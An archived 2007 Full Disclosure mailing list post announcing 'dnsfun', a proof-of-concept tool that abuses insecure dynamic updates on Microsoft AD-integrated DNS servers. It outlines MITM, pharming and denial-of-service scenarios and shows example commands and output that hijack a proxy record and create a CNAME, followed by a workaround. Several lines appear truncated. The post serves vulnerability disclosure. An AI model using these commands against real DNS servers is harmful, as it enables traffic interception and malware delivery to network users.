Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Exploiting Microsoft dynamic Dns updates
From: "Andres Tarasco" <atarasco () gmail com>
Date: Thu, 22 Mar 2007 11:35:18 +0100

Hi list,

By default, most Microsoft DNS servers integrated with active directory
insecure dynamic updates for dns records.
This feature allows remote users to create, change and delete DNS records.
There are several attack scenarios:

+ MITM attacks: Changing dns records for the network proxy and relay HTTP
 This attack vector is the most reliable and also allows us to exploit
 updates for most Windows software, by deploying custom binaries to the

+ Denial of service: by deleting / changing critical dns records

+ Pharming: like mitm attacks, poisoning several dns records.

dnsfun exploits that weak configuration and allows remote users to modify
dns records.
Here are some examples of what can be done. Example:

D:\DNSfun>ping -n 1 FakeProxy.fooooo.com
Haciendo ping a FakeProxy.fooooo.com [] con 32 bytes de datos:

D:\DNSfun>dnsfun.exe -s -q  proxy.mydomain -u
Microsoft Dynamic DNS Updates - Proof of Concept
http://www.514.es - (c) 2007 Andres Tarasco Acuña

[+] Trying to resolve Host: proxy.mydomain (Dns Server
[+] Host proxy.mydomain resolved as
[+] Trying to set ip address of the host proxy.mydomain to
[+] Trying Nonsecure Dynamic Update...
[?] Host Updated. Checking...(0)
[+] Host proxy.mydomain resolved as

D:\DNSfun>dnsfun.exe -s -cc atarasco.mydomain.com -u www.514.es
Microsoft Dynamic DNS Updates - Proof of Concept
http://www.514.es - (c) 2007 Andres Tarasco Acuña

[+] Gathering Credentials..
[+] Creating DNS CName Record for atarasco.mydomain.com (www.514.es)
[+] Host Created. Rechecking Record...
[+] Host atarasco.mydomain.com resolved as CNAME www.514.es

This isn't a new vulnerability but AFAIK those attack vectors were never
Workaround: Disable dynamic updates or set your dns to only accept secure

Spanish version and both src+binary are available at


Andres Tarasco

Attachment: dnsfun.c

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • Exploiting Microsoft dynamic Dns updates Andres Tarasco (Mar 22)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]